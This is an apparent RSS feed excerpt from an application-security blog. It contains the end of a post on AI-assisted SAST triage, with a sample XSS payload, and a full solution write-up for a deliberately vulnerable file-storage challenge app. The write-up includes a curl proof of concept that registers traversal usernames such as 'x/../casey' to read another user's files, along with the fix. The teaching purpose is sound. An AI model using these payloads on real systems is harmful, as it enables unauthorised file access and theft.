compare.</p><h3>4. 🧪 Prove: an experiment instead of trust</h3><p>Now the XSS finding. The template prints each comment unescaped:</p><pre>&lt;!-- src/views/comments.ejs:18 --&gt;<br>&lt;div&gt;&lt;%- comment.html %&gt;&lt;/div&gt;</pre><p>&lt;%- doesn&#39;t escape HTML, so Semgrep flags it. The triage traced user input from POST /comments to this line, and found one control on the way (<a href="https://github.com/mohamed-osama-aboelkheir/ai-sast-triage-demo/blob/main/src/utils/markdown.js#L4">source</a>):</p><pre>// src/utils/markdown.js<br>exports.render = (text) =&gt; DOMPurify.sanitize(marked.parse(text));</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0brhxODcZLL3_aO-EW6AWw.png" /><figcaption>Source-to-sink trace for the comment body: stored, read back, Markdown → HTML, then DOMPurify (🛡) before the template.</figcaption></figure><p>Verdict: false positive, because DOMPurify removes the payload. But say I’ve never used DOMPurify. <strong>Why</strong> is it enough? I could read the docs. Or I could ask AI to build me a small experiment I can run myself:</p><blockquote><em>Create an </em><em>/appsec-skills:security-experiment to explain how DOMPurify sanitize mitigates XSS with a simple example.</em></blockquote><p>The security-experiment skill writes a Jupyter notebook (a Deno kernel, with the app&#39;s real library versions and its real template). It sends one classic payload through the app&#39;s steps, one cell per step, first <strong>without</strong> DOMPurify and then <strong>with</strong> it:</p><pre>── Without DOMPurify ──<br>▶ marked.parse(text)<br>  &lt;p&gt;Package arrived damaged &lt;img src=&quot;x&quot; onerror=&quot;alert(&#39;XSS&#39;)&quot;&gt;&lt;/p&gt;<br>  ⚠️  dangerous: onerror=&quot;alert(&#39;XSS&#39;)&quot;<br><br>── With DOMPurify ──<br>▶ DOMPurify.sanitize(html)<br>  &lt;p&gt;Package arrived damaged &lt;img src=&quot;x&quot;&gt;&lt;/p&gt;<br>  ✅ nothing dangerous left<br><br>▶ what DOMPurify removed<br>  ✂️  onerror=&quot;alert(&#39;XSS&#39;)&quot; from &lt;img&gt;: event handlers are not on its allowlist</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pt5vZYQoQRIYteSdapge0Q.png" /><figcaption>Experiment Jupyter notebook</figcaption></figure><p>The notebook ends with <strong>why that’s enough</strong> (it runs on every render, after marked, as the last step before &lt;%-) and <strong>what would break it</strong> (removing it, moving it to input only, changing the HTML after sanitising, or an outdated version with a known bypass). I saw the control work. I didn&#39;t just take its word for it.</p><h3>✅ Same verdicts, very different engineer</h3><p>After both approaches:</p><ul><li><strong>Approach 1</strong> gave me verdicts in two minutes. I couldn’t explain them, and the next similar finding would take just as long, because I learned nothing.</li><li><strong>Approach 2</strong> gave me the <strong>same verdicts</strong> with a few short prompts, plus:</li></ul><ol><li>diagrams and tours of how the feature actually works;</li></ol><p>2. a trace showing exactly why two identical-looking findings differ;</p><p>3. a report with reproduction steps and a tested fix I can hand to the engineer;</p><p>4. an experiment that taught me how DOMPurify works.</p><p>I can now go to the engineering team with a priority I can stand behind: fix the ORDER BY injection now; the table-name pattern is a low-priority hardening task.</p><h3>🎯 Takeaway</h3><p>None of these techniques are specific to security. Wherever you use AI, you can ask it to:</p><ul><li><strong>Visualise:</strong> turn code into a diagram and a guided tour, so you read it as a story;</li><li><strong>Trace:</strong> follow one value through the layers instead of trusting a summary;</li><li><strong>Template:</strong> make it fill in the fields you would check yourself, with evidence;</li><li><strong>Experiment:</strong> build something small you can run, to see the claim hold;</li><li><strong>Quiz you:</strong> give your own answer first, then compare (--learn).</li></ul><p>AI is a powerful tool, and using it does make you more efficient. Just keep an eye on the cognitive debt. Balance <strong>doing</strong> and <strong>understanding</strong>, so you’re faster now <em>and</em> not stuck later.</p><h3>🔔 Try it yourself</h3><ul><li>📌 Demo app (deliberately vulnerable) and every AI output from this post: <a href="https://github.com/mohamed-osama-aboelkheir/ai-sast-triage-demo">ai-sast-triage-demo</a></li><li>🧰 The skills: <a href="https://github.com/mohamed-osama-aboelkheir/appsec-untangled-resources/tree/main/plugins/appsec-skills/skills">appsec-skills</a> (code-walkthrough, source-to-sink, semgrep-triage, security-experiment). PRs are welcome.</li><li>🎥 More on YouTube: <a href="https://www.youtube.com/@AppSecUntangled">AppSec Untangled</a></li></ul><p>How do <strong>you</strong> use AI to learn and not just to finish tasks? Tell me in the comments. I’d love to add more ideas to the skills.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zq50Zq_Htxndny4DajqlWA.png" /><figcaption>Balance Doing ⚡ and understanding 🧠</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=86226310d770" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsec-untangled/use-ai-to-get-smarter-not-lazier-86226310d770">Use AI to Get Smarter, Not Lazier</a> was originally published in <a href="https://medium.com/appsec-untangled">AppSec Untangled</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Secure Code Review Challenge — Solution #6:  FileDrop (Username Is User Input Too)]]></title>
            <link>https://medium.com/appsec-untangled/the-secure-code-review-challenge-solution-6-filedrop-username-is-user-input-too-8eb9d3a0e63d?source=rss----b758e7bb6f4f---4</link>
            <guid isPermaLink="false">https://medium.com/p/8eb9d3a0e63d</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[code-review]]></category>
            <category><![CDATA[application-security]]></category>
            <dc:creator><![CDATA[Mohamed AboElKheir]]></dc:creator>
            <pubDate>Thu, 01 Oct 2026 18:07:08 GMT</pubDate>
            <atom:updated>2026-10-01T18:07:07.172Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>FileDrop</strong> looks like a textbook example of a well-built Node app: bcrypt, JWT with a pinned algorithm, NoSQL-injection sanitization, React auto-escaping, a strict CSP, and path.basename() on every filename to stop path traversal.</p><p>It still lets any anonymous visitor read, overwrite and delete every other user’s files. The way in is the <strong>username</strong> field on the sign-up form.</p><p>This post walks through the full review: how the app works, where user input goes, which defenses hold, which one is missing, a working exploit, and the fix. Every code snippet you need is included, so you don’t have to open the repo to follow along. Each snippet links to its exact lines on GitHub if you want more context.</p><p>🎥 <strong>Prefer video?</strong> The full walkthrough is on YouTube:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FMtdA7yUSzVg%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DMtdA7yUSzVg&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FMtdA7yUSzVg%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/cc4cbc54f1ba1ba69493ae8c70f18996/href">https://medium.com/media/cc4cbc54f1ba1ba69493ae8c70f18996/href</a></iframe><h3>What is the Secure Code Review Challenge?</h3><p>It’s a free, biweekly series. Each challenge is a <strong>complete, realistic application</strong> with its own database, backend and UI, and <strong>one vulnerability planted on purpose</strong>, based on a real-world CVE or writeup. You review it the way you’d review a real codebase, then compare your reasoning with the published solution.</p><p>Every solution follows the same 7-step methodology:</p><ol><li>🗺️ <strong>Understand the application:</strong> architecture and main user stories</li><li>🚪 <strong>Identify entry points:</strong> where user input comes in</li><li>🎯 <strong>Identify dangerous sinks:</strong> where input could change behavior (queries, file paths, HTML, …)</li><li>🧩 <strong>Build a threat model:</strong> business-logic risks (authN/authZ) and source-to-sink risks (injection)</li><li>🔍 <strong>Review mitigations:</strong> which threats are actually closed, and which aren’t</li><li>🧪 <strong>Exploit:</strong> prove the unmitigated one is real</li><li>🛠️ <strong>Fix:</strong> a primary fix plus defense-in-depth</li></ol><p>📌 Repo: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge">https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge</a><br> 📌 Challenge #6 source: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/006-filedrop">https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/006-filedrop</a></p><blockquote><em>⚠️ </em><strong><em>Spoiler warning:</em></strong><em> if you want to try FileDrop yourself first, stop here and come back later.</em></blockquote><h3>1. 🗺️ Understanding the application</h3><p>FileDrop is a personal file-storage service. You sign in, upload files, list them, download them and delete them.</p><ul><li><strong>Backend:</strong> Express.js (Node)</li><li><strong>Frontend:</strong> a React single-page app, served by the same Express server</li><li><strong>Database:</strong> MongoDB stores the <strong>user records</strong></li><li><strong>File storage:</strong> the uploaded files themselves are stored on the container’s <strong>filesystem</strong></li><li><strong>Auth:</strong> JWT bearer tokens in the Authorization header (no cookies)</li></ul><p>The README makes one security promise:</p><blockquote>“Every account has its own storage area on disk; the files in it are private to that account.”</blockquote><p>The whole review comes down to whether that promise holds.</p><p>A good way to understand a codebase is to read it as a set of stories. Two stories cover this app: <strong>what happens when it starts</strong>, and <strong>what happens when a user logs in, uploads and downloads a file</strong>.</p><h3>🚀 Story 1: what happens when the app starts</h3><p>docker-compose.yml starts two containers: a stock mongo:6.0 and the app. The app gets one important setting, the storage root:</p><pre>app:<br>    build: .<br>    environment:<br>      - MONGODB_URI=mongodb://mongodb:27017/filedrop<br>      - PORT=3000<br>      - STORAGE_ROOT=/app/data/files</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/006-filedrop/docker-compose.yml">docker-compose.yml</a></p><p>The Dockerfile builds the React client, then runs node app.js. In app.js, the server refuses to start without a JWT secret, which is a good sign:</p><pre>if (!process.env.JWT_SECRET) {<br>  console.error(&#39;JWT_SECRET is not set. Refusing to start.&#39;);<br>  process.exit(1);<br>}</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/006-filedrop/app.js#L19-L22">app.js#L19-L22</a></p><p>Then it registers global middleware, including a defense we’ll come back to later, express-mongo-sanitize, and a strict Content Security Policy:</p><pre>app.use(express.json());<br>app.use(express.urlencoded({ extended: true }));<br>app.use(mongoSanitize());   // strips keys containing $ or . → blocks NoSQL operator injection<br><br>app.use((req, res, next) =&gt; {<br>  res.setHeader(<br>    &#39;Content-Security-Policy&#39;,<br>    &quot;default-src &#39;self&#39;; img-src &#39;self&#39; data:; object-src &#39;none&#39;; base-uri &#39;none&#39;; form-action &#39;self&#39;; frame-ancestors &#39;none&#39;&quot;<br>  );<br>  res.setHeader(&#39;X-Content-Type-Options&#39;, &#39;nosniff&#39;);<br>  ...<br>});</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/006-filedrop/app.js#L34-L47">app.js#L34-L47</a></p><p>Finally it mounts two routers. /api/auth is public, and <strong>everything under </strong><strong>/api/files goes through </strong><strong>requireAuth</strong>:</p><pre>app.use(&#39;/api/auth&#39;, authRoutes);<br>app.use(&#39;/api/files&#39;, requireAuth, filesRoutes);</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/006-filedrop/app.js#L54-L55">app.js#L54-L55</a></p><p>On first boot, a seed script creates two demo accounts, demo and casey. Casey gets a file that&#39;s obviously sensitive, which makes it a good target for proving a cross-account read:</p><pre>{<br>  username: &#39;casey&#39;,<br>  ...<br>  files: {<br>    &#39;q3-forecast.csv&#39;: &#39;quarter,revenue,margin\n...&#39;,<br>    &#39;private-keys-backup.txt&#39;: &#39;reminder: rotate the staging API token before the audit\n&#39;<br>  }<br>}</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/006-filedrop/src/store/seed.js#L18-L28">src/store/seed.js#L18-L28</a></p><h3>🔄 Story 2: register → log in → upload → download</h3><p><strong>Register.</strong> The register route validates the input. Read this part carefully, because it matters later:</p><pre>const { username, email, password } = req.body;<br><br>if (typeof username !== &#39;string&#39; || typeof email !== &#39;string&#39; || typeof password !== &#39;string&#39;) {<br>  return res.status(400).json({ error: &#39;Invalid field types&#39; });<br>}<br><br>const trimmedUsername = username.trim();<br>if (trimmedUsername.length &lt; MIN_USERNAME_LENGTH || trimmedUsername.length &gt; MAX_USERNAME_LENGTH) {<br>  return res.status(400).json({<br>    error: `Username must be between ${MIN_USERNAME_LENGTH} and ${MAX_USERNAME_LENGTH} characters`<br>  });<br>}<br>if (!EMAIL_PATTERN.test(email.trim())) { ... }       // email must look like an email<br>if (password.length &lt; MIN_PASSWORD_LENGTH) { ... }   // password ≥ 8 chars<br><br>const passwordHash = await bcrypt.hash(password, 10);<br>const user = await db.createUser(trimmedUsername, email, passwordHash);</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/006-filedrop/src/routes/auth.js#L34-L69">src/routes/auth.js#L34-L69</a></p><p>The email gets a format check and the password gets a length check. The username gets a type check and a <strong>length</strong> check (3–32 characters), and nothing else.</p><p><strong>Log in.</strong> The login route looks the user up by username, compares bcrypt hashes, and returns the same generic error whether the user doesn’t exist or the password is wrong. That’s good practice, because it doesn’t reveal which usernames exist. On success it signs a JWT with HS256:</p><pre>const user = await db.findUserByUsername(username);<br>if (!user) return res.status(401).json({ error: &#39;Invalid credentials&#39; });<br><br>const passwordMatch = await bcrypt.compare(password, user.passwordHash);<br>if (!passwordMatch) return res.status(401).json({ error: &#39;Invalid credentials&#39; });<br><br>const token = issueToken(user);   // jwt.sign({ userId, username, email }, JWT_SECRET, { algorithm: &#39;HS256&#39;, expiresIn: &#39;24h&#39; })</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/006-filedrop/src/routes/auth.js#L102-L112">src/routes/auth.js#L102-L112</a> · <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/006-filedrop/src/routes/auth.js#L20-L26">issueToken, auth.js#L20-L26</a></p><p>The React client stores the token in localStorage and sends it as a bearer header on every request:</p><pre>async function request(path, { method = &#39;GET&#39;, body, headers = {} } = {}) {<br>  const token = getToken();                       // localStorage &#39;filedrop.token&#39;<br>  const finalHeaders = { ...headers };<br>  if (token) {<br>    finalHeaders.Authorization = `Bearer ${token}`;<br>  }<br>  ...<br>}</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/006-filedrop/web/src/api.js#L17-L22">web/src/api.js#L17-L22</a></p><p><strong>Upload.</strong> Every /api/files request first passes through requireAuth. It pins the JWT algorithm (so the alg: none trick doesn&#39;t work), reloads the user from MongoDB, and sets req.user:</p><pre>const decoded = jwt.verify(token, process.env.JWT_SECRET, { algorithms: [&#39;HS256&#39;] });<br>const user = await db.findUserById(decoded.userId);<br>if (!user) {<br>  return res.status(401).json({ error: &#39;User not found&#39; });<br>}<br><br>req.user = {<br>  id: user.id,<br>  username: user.username,<br>  email: user.email<br>};<br>next();</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/006-filedrop/src/middleware/auth.js#L26-L38">src/middleware/auth.js#L26-L38</a></p><p>Then <a href="https://github.com/expressjs/multer">multer</a> handles the upload, and this is where <strong>the location on disk</strong> is decided:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AjfMrWSL-glJY_b0NSnEog.png" /></figure><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/006-filedrop/src/routes/files.js#L8-L31">src/routes/files.js#L8-L31</a></p><p>So a file ends up at STORAGE_ROOT / &lt;username&gt; / &lt;filename&gt;. You can confirm this inside the container: /app/data/files/ contains one folder per user ( casey/, demo/, testuser/, ...).</p><p><strong>Download.</strong> The download route takes the filename from the URL, strips any directory part, joins it onto the caller’s folder, and sends the file back as a download:</p><pre>router.get(&#39;/:filename/download&#39;, (req, res) =&gt; {<br>  // Strip any directory part the client tried to send, so the name can only<br>  // ever point at a file directly inside the caller&#39;s own directory.<br>  const filename = path.basename(req.params.filename);<br>  if (!filename || filename === &#39;.&#39; || filename === &#39;..&#39;) {<br>    return res.status(400).json({ error: &#39;Filename required&#39; });<br>  }<br><br>  const filePath = path.join(userDirectory(req), filename);<br>  if (!fs.existsSync(filePath) || !fs.statSync(filePath).isFile()) {<br>    return res.status(404).json({ error: &#39;File not found&#39; });<br>  }<br><br>  res.setHeader(&#39;Content-Type&#39;, &#39;application/octet-stream&#39;);<br>  res.setHeader(&#39;X-Content-Type-Options&#39;, &#39;nosniff&#39;);<br>  res.download(filePath, filename);<br>});</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/006-filedrop/src/routes/files.js#L95-L119">src/routes/files.js#L95-L119</a></p><p>List ( GET /api/files) and delete ( DELETE /api/files/:filename) follow the same pattern, using userDirectory(req) plus a basename&#39;d filename ( <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/006-filedrop/src/routes/files.js#L59-L68">files.js#L59-L68</a>, <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/006-filedrop/src/routes/files.js#L122-L140">files.js#L122-L140</a>).</p><h3>🧠 The key observation from step 1</h3><p>Every file operation builds its path the same way:</p><pre>path.join(STORAGE_ROOT, req.user.username, path.basename(filename))<br>          └── config ──┘ └──── ??? ──────┘ └──── sanitized ─────┘</pre><p>There’s <strong>no ownership record for files in the database.</strong> “Your files” just means “the files in the folder named after you.” The isolation between accounts depends entirely on one assumption: that <strong>req.user.username is a single, safe folder name.</strong></p><h3>2. 🚪 Entry points</h3><ul><li>POST /api/auth/register: public, takes username, email, password</li><li>POST /api/auth/login: public, takes username, password</li><li>GET /api/auth/me: bearer token, no other input</li><li>GET /api/files: bearer token, no other input (the username picks the folder)</li><li>POST /api/files: bearer token, takes a multipart file (name + bytes)</li><li>GET /api/files/:filename/download: bearer token, takes :filename</li><li>DELETE /api/files/:filename: bearer token, takes :filename</li></ul><h3>3. 🎯 Dangerous sinks</h3><ul><li><strong>S1: the filesystem path.</strong> path.join(STORAGE_ROOT, username, filename) decides which file is read, written or deleted. If user input can change it, you get <strong>path traversal</strong> (CWE-22).</li><li><strong>S2: MongoDB </strong><strong>findOne queries</strong> built from the login/register body → <strong>NoSQL injection</strong>.</li><li><strong>S3: rendering the username in the React UI</strong> (Signed in as &lt;strong&gt;{user.username}&lt;/strong&gt;) → <strong>XSS</strong>.</li></ul><h3>4 &amp; 5. 🧩 Threat model &amp; 🔍 mitigation review</h3><h3>🔓 Business logic</h3><p><strong>Authentication ✅.</strong> Register and login are public, which is expected. Everything under /api/files sits behind requireAuth, which pins HS256 and uses a required secret with no fallback.</p><p><strong>IDOR, i.e. “can I ask for another user’s file?” ✅.</strong> There’s no file ID or owner ID anywhere in the API for an attacker to swap. Each route only works on <em>the caller’s own folder</em>, and that folder comes from the caller’s identity. So there’s no missing ownership check here. Keep that in mind, because the bug turns out to be something else.</p><h3>💉 Source-to-sink</h3><p><strong>S2, NoSQL injection ✅.</strong> The classic attack sends an object instead of a string, for example {&quot;username&quot;: {&quot;$ne&quot;: null}}. FileDrop blocks it twice: mongoSanitize() strips $ keys before any handler runs, and both routes reject non-string fields:</p><pre>if (!username || !password || typeof username !== &#39;string&#39; || typeof password !== &#39;string&#39;) {<br>  return res.status(400).json({ error: &#39;Username and password are required&#39; });<br>}</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/006-filedrop/src/routes/auth.js#L98">src/routes/auth.js#L98</a></p><p><strong>S3, XSS ✅.</strong> The username is rendered as {user.username} in JSX, and <a href="https://legacy.reactjs.org/docs/introducing-jsx.html#jsx-prevents-injection-attacks">React escapes every value embedded in JSX</a>, so a username like &lt;img src=x onerror=alert(1)&gt; shows up as harmless text. Uploaded files are served as application/octet-stream with nosniff under a strict CSP, so an uploaded .html or .svg can&#39;t run script on the site&#39;s origin either.</p><p><strong>S1, path traversal: this is where it breaks ❌.</strong> The path has <strong>two</strong> user-controlled parts, and they’re treated very differently.</p><p><strong>The filename part ✅.</strong> Every route runs it through <a href="https://nodejs.org/api/path.html#pathbasenamepath-suffix">path.basename</a>, which keeps only the last segment:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uK_MvtPneVZMGMRsco6s4Q.png" /></figure><p>Download and delete also reject . and ... The code comments draw your attention here, and this part is safe.</p><p><strong>The username part ❌.</strong> It looks fixed, because it comes from the JWT and the database. But <strong>you chose it yourself when you signed up</strong>, and the register route only checked its <em>length</em>. Slashes and .. are allowed, and database.js only trims whitespace:</p><pre>async findUserByUsername(username) {<br>  const user = await this.usersCollection.findOne({ username: username.trim() });<br>  return this.toPublicUser(user);<br>}</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/006-filedrop/src/store/database.js#L68-L71">src/store/database.js#L68-L71</a></p><p>Here’s the important fact: <strong>path.join normalizes </strong><strong>.. segments.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CFYbQkCMP85yc_0XHmH5BQ.png" /></figure><p>So a user who registers as x/../casey is a <strong>different account</strong> to MongoDB (a different string), but on disk they get <strong>Casey&#39;s folder</strong>.</p><blockquote><em>💡 </em><strong><em>Reviewer’s lesson:</em></strong><em> “this value comes from the database / the JWT” doesn’t make it trusted. Trace it back to where it was </em><strong><em>first written</em></strong><em>. Here that’s a sign-up form, which is user input.</em></blockquote><h3>6. 🧪 Exploitation</h3><h3>Why the payload is x/../casey and not ../casey</h3><p>Here’s what path.join(&#39;/app/data/files&#39;, username) resolves to for each candidate username:</p><ul><li>../casey → /app/data/casey: outside the storage root, an empty folder ❌</li><li>x/../casey → /app/data/files/casey: Casey&#39;s folder ✅</li><li>a/../../../.. → /: the root of the filesystem 😱</li></ul><h3>PoC</h3><pre>B=http://localhost:3000<br><br># 1) Register an attacker whose USERNAME traverses into casey&#39;s directory.<br>#    &quot;x/../casey&quot; is 10 chars → passes the 3–32 length check; slashes and .. are not filtered.<br>curl -s -X POST $B/api/auth/register -H &#39;Content-Type: application/json&#39; \<br>  -d &#39;{&quot;username&quot;:&quot;x/../casey&quot;,&quot;email&quot;:&quot;atk@evil.com&quot;,&quot;password&quot;:&quot;password123&quot;}&#39;<br># → {&quot;message&quot;:&quot;User registered successfully&quot;,&quot;token&quot;:&quot;...&quot;,&quot;user&quot;:{&quot;username&quot;:&quot;x/../casey&quot;,...}}<br><br># 2) Log in and grab the token.<br>TOKEN=$(curl -s -X POST $B/api/auth/login -H &#39;Content-Type: application/json&#39; \<br>  -d &#39;{&quot;username&quot;:&quot;x/../casey&quot;,&quot;password&quot;:&quot;password123&quot;}&#39; | jq -r .token)<br><br># 3) List &quot;my&quot; files. They&#39;re actually casey&#39;s.<br>curl -s $B/api/files -H &quot;Authorization: Bearer $TOKEN&quot;<br># → {&quot;files&quot;:[{&quot;name&quot;:&quot;private-keys-backup.txt&quot;,...},{&quot;name&quot;:&quot;q3-forecast.csv&quot;,...}], ...}<br><br># 4) Download casey&#39;s secret.<br>curl -s &quot;$B/api/files/private-keys-backup.txt/download&quot; -H &quot;Authorization: Bearer $TOKEN&quot;<br># → reminder: rotate the staging API token before the audit</pre><p>Compare that with a normal new account, which sees an empty list:</p><pre>=== CONTROL: a normal attacker sees an empty drop ===<br>{&quot;files&quot;:[],&quot;usage&quot;:{&quot;usedBytes&quot;:0,&quot;quotaBytes&quot;:104857600}}<br><br>=== PAYLOAD: username &quot;x/../casey&quot; ===<br>{&quot;files&quot;:[{&quot;name&quot;:&quot;private-keys-backup.txt&quot;,&quot;size&quot;:56,...},<br>          {&quot;name&quot;:&quot;q3-forecast.csv&quot;,&quot;size&quot;:68,...}],&quot;usage&quot;:{&quot;usedBytes&quot;:124,...}}<br><br>=== download private-keys-backup.txt ===<br>reminder: rotate the staging API token before the audit</pre><p>The same trick works for <strong>upload</strong> (the attacker can plant files in Casey’s folder) and <strong>delete</strong> (the attacker can wipe them). Registering a/../../../.. lets the account <strong>list and download files outside the storage root</strong>, anywhere the Node process can read.</p><p><strong>Impact:</strong> a brand-new anonymous account can read, overwrite or delete any user’s files, with no interaction from the victim. Confidentiality, integrity and availability are all lost for every account.</p><p><strong>Classification:</strong> Path Traversal, <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22</a>, via External Control of File Name or Path, <a href="https://cwe.mitre.org/data/definitions/73.html">CWE-73</a>. The <em>effect</em> looks like an IDOR, but the <em>cause</em> is a source-to-sink injection. Adding an ownership check to each route wouldn’t fix it. Not trusting a user string as a path segment would.</p><h3>7. 🛠️ The fix</h3><p><strong>Option 1: an allowlist for usernames at registration.</strong> A length check isn’t validation. Restrict the characters:</p><pre>// src/routes/auth.js<br>const USERNAME_PATTERN = /^[a-zA-Z0-9_-]+$/;   // no &#39;/&#39;, no &#39;.&#39;, no &#39;..&#39;<br>if (!USERNAME_PATTERN.test(trimmedUsername)) {<br>  return res.status(400).json({ error: &#39;Username may contain only letters, numbers, _ and -&#39; });<br>}</pre><p><strong>Option 2 (better): don’t build the path from the username at all.</strong> Use the immutable, server-generated user ID instead. It’s a MongoDB ObjectId, which findUserById already validates, so no attacker-chosen text ever reaches the path:</p><pre>function userDirectory(req) {<br>  return path.join(STORAGE_ROOT, req.user.id);   // ObjectId hex, not attacker-chosen text<br>}</pre><p><strong>Defense-in-depth (do these too):</strong></p><ol><li><strong>Run that check in multer’s </strong><strong>destination callback too.</strong> It runs <em>before</em> your route handler, so the file is already written by the time the handler sees the request.</li></ol><pre>   const dir = path.resolve(STORAGE_ROOT, key);<br>   if (dir !== STORAGE_ROOT &amp;&amp; !dir.startsWith(STORAGE_ROOT + path.sep)) {<br>     throw new Error(&#39;Path escapes storage root&#39;);<br>   }</pre><p><strong>2. Run that check in multer’s </strong><strong>destination callback too.</strong> It runs <em>before</em> your route handler, so the file is already written by the time the handler sees the request.</p><p><strong>3. Record file ownership in the database</strong> ({ owner: userId, name }) and check it on download and delete, instead of assuming ownership from a folder name.</p><p><strong>4. Keep </strong><strong>path.basename on filenames</strong> and keep rejecting empty, . and .. names.</p><h3>🌍 Real-world examples</h3><ul><li><a href="https://karmainsecurity.com/zip-slip-meets-artifactory-a-bug-bounty-story"><strong>Zip Slip meets Artifactory: A Bug Bounty Story</strong></a><strong>.</strong> JFrog Artifactory joined an archive entry’s <em>name</em> onto a path as-is. An entry named ../../.../webapps/rce.war escaped into Tomcat&#39;s auto-deploy folder, which gave RCE. Same root cause as FileDrop (a <em>name</em> trusted as a path segment), and it was found the same way: by reading the code.</li><li><a href="https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/"><strong>Excessive Expansion: critical vulnerabilities in Jenkins (CVE-2024–23897)</strong></a><strong>.</strong> The args4j library quietly treats any CLI argument starting with @ as a file to read, so @/etc/passwd became an arbitrary file read. It&#39;s a different vector with the same lesson as path.join normalizing ..: <strong>know what each library call does with your input.</strong></li></ul><h3>📚 More resources</h3><h3>🎯 Takeaway</h3><p>Trace <strong>every</strong> input to the sink it reaches, including the ones that don’t look like input. FileDrop protected the obvious half of the path (the filename) and left the other half (the username) open. A username isn’t just a display label. Here it was a folder name.</p><p>If you can, <strong>don’t build sensitive values like paths from user input at all.</strong> Use server-generated IDs. When you can’t avoid it, validate against a strict allowlist and check the final result.</p><h3>🔔 What’s next</h3><p><strong>Challenge #7: Blogger</strong> is live now. Can you find the bug before the solution drops?</p><p>👉 <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/007-blogger">https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/007-blogger</a></p><p>New challenges land every two weeks, and each drop includes the previous challenge’s solution. <strong>Watch the repo</strong> (Watch → Custom → Releases) to get notified, and subscribe to <a href="https://www.youtube.com/@AppSecUntangled">AppSec Untangled on YouTube</a> for the video walkthroughs.</p><p>If you found the bug yourself, or took a different route to it, tell me in the comments 👇</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tK9EwCcCBWh4JqjV7HO-9w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8eb9d3a0e63d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsec-untangled/the-secure-code-review-challenge-solution-6-filedrop-username-is-user-input-too-8eb9d3a0e63d">The Secure Code Review Challenge — Solution #6: 📥 FileDrop (Username Is User Input Too)</a> was originally published in <a href="https://medium.com/appsec-untangled">AppSec Untangled</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Secure Code Review Challenge — Solution #5: Notekeeper (Insecure Deserialization)]]></title>
            <link>https://medium.com/appsec-untangled/the-secure-code-review-challenge-solution-5-notekeeper-insecure-deserialization-c27b745ff7b5?source=rss----b758e7bb6f4f---4</link>
            <guid isPermaLink="false">https://medium.com/p/c27b745ff7b5</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[code-review]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[application-security]]></category>
            <dc:creator><![CDATA[Mohamed AboElKheir]]></dc:creator>
            <pubDate>Fri, 18 Sep 2026 21:19:18 GMT</pubDate>
            <atom:updated>2026-09-18T21:19:18.801Z</atom:updated>
